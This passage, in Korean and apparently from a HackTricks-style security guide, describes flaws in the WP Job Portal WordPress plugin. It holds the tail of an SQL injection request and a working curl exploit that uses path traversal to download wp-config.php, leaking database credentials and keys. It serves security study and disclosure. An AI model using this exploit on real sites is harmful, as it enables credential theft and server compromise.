-d 'cat_title=pwn' -d 'id='

응답은 주입된 쿼리의 결과를 노출하거나 데이터베이스를 변경하여 SQLi를 증명합니다.

인증 없이 임의 파일 다운로드 / 경로 순회 (WP Job Portal <= 2.3.2)

또 다른 task인 downloadcustomfile은 방문자가 경로 순회를 통해 디스크의 아무 파일(any file on disk) 을 다운로드할 수 있게 허용했습니다. 취약한 sink는 modules/customfield/model.php::downloadCustomUploadedFile()에 위치합니다:

$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name은 공격자가 제어하며 검증 없이 이어붙여집니다. 다시 말해, 유일한 관문은 이력서 페이지에서 가져올 수 있는 CSRF nonce입니다.

Exploitation

curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

서버가 wp-config.php의 내용을 반환하여 DB credentials 및 auth keys를 leaking합니다.

참고자료

{{#include ../../banners/hacktricks-training.md}}